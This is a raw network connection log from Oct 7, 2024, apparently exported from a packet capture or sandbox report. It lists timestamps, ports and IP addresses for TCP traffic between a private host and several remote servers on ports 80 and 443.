Oct 7, 2024 13:27:27.280785084 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:27.280807972 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:27.280839920 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:27.304240942 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:27.304260015 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:27.304275990 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:27.304322958 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:27.304357052 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:27.304368019 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:27.304374933 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:27.304379940 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:27.304393053 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:27.304404020 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:27.304405928 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:27.304433107 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:27.304449081 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:27.304600954 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:27.304614067 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:27.304625034 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:27.304637909 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:27.304646969 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:27.304650068 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:27.304663897 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:27.304681063 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:27.304699898 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:27.336313963 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:27.336343050 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:27.336357117 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:27.336378098 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:27.336414099 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:27.336782932 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:27.336795092 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:27.336806059 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:27.336819887 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:27.336833000 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:27.336833954 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:27.336847067 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:27.336859941 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:27.336867094 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:27.336874008 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:27.336888075 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:27.336893082 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:27.336905003 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:27.336920023 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:27.336921930 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:27.336946964 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:27.336975098 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:27.337114096 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:27.337126017 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:27.337138891 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:27.337150097 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:27.337151051 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:27.337165117 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:27.337172031 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:27.337178946 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:27.337192059 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:27.337199926 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:27.337205887 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:27.337219954 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:27.337250948 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:27.337547064 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:27.337558031 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:27.337569952 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:27.337582111 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:27.337594986 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:27.337594986 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:27.337618113 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:27.337636948 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:27.337802887 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:27.337815046 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:27.337826967 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:27.337841988 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:27.337857008 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:27.337884903 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:27.338016033 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:27.338027954 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:27.338038921 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:27.338051081 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:27.338063955 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:27.338066101 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:27.338076115 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:27.338087082 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:27.338088989 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:27.338102102 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:27.338110924 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:27.338115931 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:27.338126898 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:27.338133097 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:27.338149071 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:27.338159084 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:27.338161945 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:27.338197947 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:27.338215113 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:27.338872910 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:27.338886023 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:27.338896990 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:27.338907003 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:27.338918924 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:27.338928938 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:27.338932037 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:27.338946104 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:27.338958025 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:27.338963032 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:27.338969946 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:27.338982105 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:27.338984013 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:27.338998079 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:27.339004040 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:27.339010954 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:27.339021921 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:27.339026928 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:27.339050055 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:27.339066029 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:27.339076996 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:27.339077950 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:27.339096069 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:27.339106083 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:27.339107037 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:27.339123964 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:27.339153051 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:27.339270115 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:27.339281082 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:27.339293957 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:27.339306116 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:27.339319944 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:27.339350939 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:27.339837074 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:27.339849949 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:27.339862108 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:27.339874029 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:27.339885950 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:27.339890003 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:27.339898109 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:27.339910030 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:27.339921951 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:27.339921951 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:27.339937925 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:27.339945078 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:27.339956045 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:27.339970112 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:27.340002060 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:27.340013027 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:27.340013027 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:27.340049982 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:27.340065002 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:27.340101004 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:27.340238094 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:27.340250015 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:27.340261936 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:27.340275049 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:27.340286016 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:27.340289116 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:27.340300083 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:27.340312958 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:27.340323925 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:27.340329885 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:27.340338945 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:27.340347052 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:27.340351105 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:27.340363026 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:27.340365887 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:27.340375900 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:27.340409040 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:27.340435028 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:27.340663910 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:27.340928078 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:27.370996952 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:27.371010065 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:27.371025085 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:27.371069908 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:27.371089935 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:27.371102095 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:27.371105909 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:27.371115923 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:27.371129036 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:27.371134996 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:27.371143103 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:27.371165991 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:27.371181965 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:27.371290922 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:27.371304035 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:27.371316910 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:27.371335983 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:27.371367931 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:29.640945911 CEST	50019	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:27:29.641417980 CEST	50028	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:27:29.646255970 CEST	80	50019	185.215.113.43	192.168.2.5
Oct 7, 2024 13:27:29.646368027 CEST	50019	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:27:29.646439075 CEST	80	50028	185.215.113.43	192.168.2.5
Oct 7, 2024 13:27:29.646707058 CEST	50028	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:27:29.647296906 CEST	50028	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:27:29.652141094 CEST	80	50028	185.215.113.43	192.168.2.5
Oct 7, 2024 13:27:30.338036060 CEST	80	50028	185.215.113.43	192.168.2.5
Oct 7, 2024 13:27:30.338114977 CEST	50028	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:27:30.433310986 CEST	50030	443	192.168.2.5	104.102.49.254
Oct 7, 2024 13:27:30.433336973 CEST	443	50030	104.102.49.254	192.168.2.5
Oct 7, 2024 13:27:30.433471918 CEST	50030	443	192.168.2.5	104.102.49.254
Oct 7, 2024 13:27:30.435750961 CEST	50030	443	192.168.2.5	104.102.49.254
Oct 7, 2024 13:27:30.435770988 CEST	443	50030	104.102.49.254	192.168.2.5
Oct 7, 2024 13:27:31.086283922 CEST	443	50030	104.102.49.254	192.168.2.5
Oct 7, 2024 13:27:31.086365938 CEST	50030	443	192.168.2.5	104.102.49.254
Oct 7, 2024 13:27:31.101227999 CEST	50030	443	192.168.2.5	104.102.49.254
Oct 7, 2024 13:27:31.101246119 CEST	443	50030	104.102.49.254	192.168.2.5
Oct 7, 2024 13:27:31.101502895 CEST	443	50030	104.102.49.254	192.168.2.5
Oct 7, 2024 13:27:31.145251036 CEST	50030	443	192.168.2.5	104.102.49.254
Oct 7, 2024 13:27:31.179580927 CEST	50030	443	192.168.2.5	104.102.49.254
Oct 7, 2024 13:27:31.227400064 CEST	443	50030	104.102.49.254	192.168.2.5
Oct 7, 2024 13:27:31.507730007 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:31.507863998 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:31.595457077 CEST	443	50030	104.102.49.254	192.168.2.5
Oct 7, 2024 13:27:31.595524073 CEST	443	50030	104.102.49.254	192.168.2.5
Oct 7, 2024 13:27:31.595566034 CEST	443	50030	104.102.49.254	192.168.2.5
Oct 7, 2024 13:27:31.595588923 CEST	443	50030	104.102.49.254	192.168.2.5
Oct 7, 2024 13:27:31.595597029 CEST	50030	443	192.168.2.5	104.102.49.254
Oct 7, 2024 13:27:31.595597029 CEST	50030	443	192.168.2.5	104.102.49.254
Oct 7, 2024 13:27:31.595618010 CEST	443	50030	104.102.49.254	192.168.2.5
Oct 7, 2024 13:27:31.595627069 CEST	443	50030	104.102.49.254	192.168.2.5
Oct 7, 2024 13:27:31.595635891 CEST	50030	443	192.168.2.5	104.102.49.254
Oct 7, 2024 13:27:31.595635891 CEST	50030	443	192.168.2.5	104.102.49.254
Oct 7, 2024 13:27:31.595670938 CEST	50030	443	192.168.2.5	104.102.49.254
Oct 7, 2024 13:27:31.595670938 CEST	50030	443	192.168.2.5	104.102.49.254
Oct 7, 2024 13:27:31.703380108 CEST	443	50030	104.102.49.254	192.168.2.5
Oct 7, 2024 13:27:31.703485012 CEST	443	50030	104.102.49.254	192.168.2.5
Oct 7, 2024 13:27:31.703567982 CEST	50030	443	192.168.2.5	104.102.49.254
Oct 7, 2024 13:27:31.703583002 CEST	443	50030	104.102.49.254	192.168.2.5
Oct 7, 2024 13:27:31.703599930 CEST	50030	443	192.168.2.5	104.102.49.254
Oct 7, 2024 13:27:31.706430912 CEST	50030	443	192.168.2.5	104.102.49.254
Oct 7, 2024 13:27:31.709183931 CEST	443	50030	104.102.49.254	192.168.2.5
Oct 7, 2024 13:27:31.709412098 CEST	443	50030	104.102.49.254	192.168.2.5
Oct 7, 2024 13:27:31.709466934 CEST	50030	443	192.168.2.5	104.102.49.254
Oct 7, 2024 13:27:31.709466934 CEST	50030	443	192.168.2.5	104.102.49.254
Oct 7, 2024 13:27:31.780508041 CEST	50030	443	192.168.2.5	104.102.49.254
Oct 7, 2024 13:27:31.780527115 CEST	443	50030	104.102.49.254	192.168.2.5
Oct 7, 2024 13:27:31.780822039 CEST	50030	443	192.168.2.5	104.102.49.254
Oct 7, 2024 13:27:31.780827999 CEST	443	50030	104.102.49.254	192.168.2.5
Oct 7, 2024 13:27:31.829777956 CEST	50031	443	192.168.2.5	172.67.206.204
Oct 7, 2024 13:27:31.829814911 CEST	443	50031	172.67.206.204	192.168.2.5
Oct 7, 2024 13:27:31.829893112 CEST	50031	443	192.168.2.5	172.67.206.204
Oct 7, 2024 13:27:31.830483913 CEST	50031	443	192.168.2.5	172.67.206.204
Oct 7, 2024 13:27:31.830497980 CEST	443	50031	172.67.206.204	192.168.2.5
Oct 7, 2024 13:27:32.007066011 CEST	50028	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:27:32.007502079 CEST	50032	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:27:32.012046099 CEST	80	50028	185.215.113.43	192.168.2.5
Oct 7, 2024 13:27:32.012130976 CEST	50028	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:27:32.012327909 CEST	80	50032	185.215.113.43	192.168.2.5
Oct 7, 2024 13:27:32.012401104 CEST	50032	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:27:32.012614965 CEST	50032	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:27:32.017966032 CEST	80	50032	185.215.113.43	192.168.2.5
Oct 7, 2024 13:27:32.314714909 CEST	443	50031	172.67.206.204	192.168.2.5
Oct 7, 2024 13:27:32.314807892 CEST	50031	443	192.168.2.5	172.67.206.204
Oct 7, 2024 13:27:32.316761017 CEST	50031	443	192.168.2.5	172.67.206.204
Oct 7, 2024 13:27:32.316771030 CEST	443	50031	172.67.206.204	192.168.2.5
Oct 7, 2024 13:27:32.317086935 CEST	443	50031	172.67.206.204	192.168.2.5
Oct 7, 2024 13:27:32.318525076 CEST	50031	443	192.168.2.5	172.67.206.204
Oct 7, 2024 13:27:32.318569899 CEST	50031	443	192.168.2.5	172.67.206.204
Oct 7, 2024 13:27:32.318622112 CEST	443	50031	172.67.206.204	192.168.2.5
Oct 7, 2024 13:27:32.721925020 CEST	80	50032	185.215.113.43	192.168.2.5
Oct 7, 2024 13:27:32.722064972 CEST	50032	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:27:32.751898050 CEST	443	50031	172.67.206.204	192.168.2.5
Oct 7, 2024 13:27:32.751986980 CEST	443	50031	172.67.206.204	192.168.2.5
Oct 7, 2024 13:27:32.752038956 CEST	50031	443	192.168.2.5	172.67.206.204
Oct 7, 2024 13:27:32.752609968 CEST	50031	443	192.168.2.5	172.67.206.204
Oct 7, 2024 13:27:32.752621889 CEST	443	50031	172.67.206.204	192.168.2.5
Oct 7, 2024 13:27:34.324354887 CEST	50032	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:27:34.324764013 CEST	50033	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:27:34.329545021 CEST	80	50032	185.215.113.43	192.168.2.5
Oct 7, 2024 13:27:34.329602003 CEST	50032	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:27:34.329621077 CEST	80	50033	185.215.113.43	192.168.2.5
Oct 7, 2024 13:27:34.330228090 CEST	50033	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:27:34.331995964 CEST	50033	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:27:34.336990118 CEST	80	50033	185.215.113.43	192.168.2.5
Oct 7, 2024 13:27:35.044676065 CEST	80	50033	185.215.113.43	192.168.2.5
Oct 7, 2024 13:27:35.044754028 CEST	50033	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:27:36.743741989 CEST	50033	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:27:36.748939991 CEST	80	50033	185.215.113.43	192.168.2.5
Oct 7, 2024 13:27:36.749591112 CEST	50033	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:27:36.749774933 CEST	50034	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:27:36.754745960 CEST	80	50034	185.215.113.43	192.168.2.5
Oct 7, 2024 13:27:36.758326054 CEST	50034	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:27:36.802649021 CEST	50034	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:27:36.807557106 CEST	80	50034	185.215.113.43	192.168.2.5
Oct 7, 2024 13:27:37.479280949 CEST	80	50034	185.215.113.43	192.168.2.5
Oct 7, 2024 13:27:37.479346991 CEST	50034	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:27:38.565149069 CEST	50035	80	192.168.2.5	185.215.113.37
Oct 7, 2024 13:27:38.569996119 CEST	80	50035	185.215.113.37	192.168.2.5
Oct 7, 2024 13:27:38.570091009 CEST	50035	80	192.168.2.5	185.215.113.37
Oct 7, 2024 13:27:38.570278883 CEST	50035	80	192.168.2.5	185.215.113.37
Oct 7, 2024 13:27:38.575102091 CEST	80	50035	185.215.113.37	192.168.2.5
Oct 7, 2024 13:27:39.050971031 CEST	50034	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:27:39.051219940 CEST	50036	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:27:39.056359053 CEST	80	50036	185.215.113.43	192.168.2.5
Oct 7, 2024 13:27:39.056754112 CEST	50036	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:27:39.057228088 CEST	80	50034	185.215.113.43	192.168.2.5
Oct 7, 2024 13:27:39.057307005 CEST	50034	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:27:39.057930946 CEST	50036	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:27:39.063007116 CEST	80	50036	185.215.113.43	192.168.2.5
Oct 7, 2024 13:27:39.277698994 CEST	80	50035	185.215.113.37	192.168.2.5
Oct 7, 2024 13:27:39.278379917 CEST	50035	80	192.168.2.5	185.215.113.37
Oct 7, 2024 13:27:39.306689024 CEST	50035	80	192.168.2.5	185.215.113.37
Oct 7, 2024 13:27:39.311604977 CEST	80	50035	185.215.113.37	192.168.2.5
Oct 7, 2024 13:27:39.542669058 CEST	80	50035	185.215.113.37	192.168.2.5
Oct 7, 2024 13:27:39.542721033 CEST	50035	80	192.168.2.5	185.215.113.37
Oct 7, 2024 13:27:39.759635925 CEST	80	50036	185.215.113.43	192.168.2.5
Oct 7, 2024 13:27:39.759701967 CEST	50036	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:27:41.118618965 CEST	50035	80	192.168.2.5	185.215.113.37
Oct 7, 2024 13:27:41.395910025 CEST	50036	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:27:41.396267891 CEST	50037	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:27:41.401284933 CEST	80	50036	185.215.113.43	192.168.2.5
Oct 7, 2024 13:27:41.401369095 CEST	50036	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:27:41.401586056 CEST	80	50037	185.215.113.43	192.168.2.5
Oct 7, 2024 13:27:41.401665926 CEST	50037	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:27:41.408233881 CEST	50037	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:27:41.413147926 CEST	80	50037	185.215.113.43	192.168.2.5
Oct 7, 2024 13:27:42.144558907 CEST	80	50037	185.215.113.43	192.168.2.5
Oct 7, 2024 13:27:42.144613981 CEST	50037	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:27:43.646368980 CEST	50037	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:27:43.647264004 CEST	50038	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:27:43.651422977 CEST	80	50037	185.215.113.43	192.168.2.5
Oct 7, 2024 13:27:43.651484966 CEST	50037	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:27:43.652086020 CEST	80	50038	185.215.113.43	192.168.2.5
Oct 7, 2024 13:27:43.652165890 CEST	50038	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:27:43.654311895 CEST	50038	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:27:43.659187078 CEST	80	50038	185.215.113.43	192.168.2.5
Oct 7, 2024 13:27:44.460891008 CEST	80	50038	185.215.113.43	192.168.2.5
Oct 7, 2024 13:27:44.460961103 CEST	50038	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:27:46.086780071 CEST	50038	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:27:46.087182045 CEST	50039	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:27:46.093204021 CEST	80	50038	185.215.113.43	192.168.2.5
Oct 7, 2024 13:27:46.093261003 CEST	50038	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:27:46.093959093 CEST	80	50039	185.215.113.43	192.168.2.5
Oct 7, 2024 13:27:46.094029903 CEST	50039	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:27:46.094186068 CEST	50039	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:27:46.100858927 CEST	80	50039	185.215.113.43	192.168.2.5
